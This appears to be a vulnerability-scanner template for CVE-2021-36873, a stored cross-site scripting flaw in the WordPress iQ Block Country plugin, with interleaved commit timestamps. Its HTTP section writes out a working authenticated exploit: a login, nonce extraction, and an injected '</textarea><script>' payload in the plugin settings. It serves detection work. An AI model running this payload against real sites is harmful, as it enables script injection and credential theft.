2022-09-23 09:23:00 +00:00
id : CVE-2021-36873
info :
2022-09-29 13:38:41 +00:00
name : WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
2022-09-23 09:23:00 +00:00
author : theamanrawat
2022-09-29 13:52:24 +00:00
severity : medium
2022-09-23 09:23:00 +00:00
description : |
2022-09-29 13:38:41 +00:00
WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
2022-09-23 09:23:00 +00:00
reference :
- https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
2022-09-23 10:43:26 +00:00
- https://wordpress.org/plugins/iq-block-country/
2022-09-23 09:23:00 +00:00
- https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2021-36873
2023-07-11 19:49:27 +00:00
- https://wordpress.org/plugins/iq-block-country/#developers
2022-09-23 09:23:00 +00:00
classification :
2022-09-23 11:08:59 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2022-09-23 09:23:00 +00:00
cve-id : CVE-2021-36873
2022-09-23 11:08:59 +00:00
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00131
2023-10-31 18:27:55 +00:00
epss-percentile : 0.47786
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
2022-09-23 09:23:00 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : webence
product : iq_block_country
2023-09-06 12:09:01 +00:00
framework : wordpress
2022-09-23 11:08:59 +00:00
tags : cve,wp-plugin,iq-block-country,cve2021,wordpress,wp,xss,authenticated,wpscan
2022-09-23 09:23:00 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-23 09:23:00 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
2022-10-07 15:25:44 +00:00
Host : {{Hostname}}
2022-09-23 09:23:00 +00:00
Content-Type : application/x-www-form-urlencoded
option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
- |
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
2023-07-11 19:49:27 +00:00
req-condition : true
2022-09-23 09:23:00 +00:00
matchers :
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- contains(header_4, "text/html")
2022-09-23 10:43:26 +00:00
- status_code_4 == 200
2022-09-23 09:23:00 +00:00
- contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
2022-09-23 10:43:26 +00:00
- contains(body_4, '<h3>Block type</h3>')
2022-09-23 09:23:00 +00:00
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal : true
2023-10-31 10:54:20 +00:00
# digest: 4b0a00483046022100d0341e634266b3df94b0688887130ced8ab75951449bbdd7ac8ef672842fa0d5022100e48d767c21d39c87e748ad39445ae4a1953e178a01829f9fdd13bb5f11132afc:922c64590222798bb761d5b6d8e72950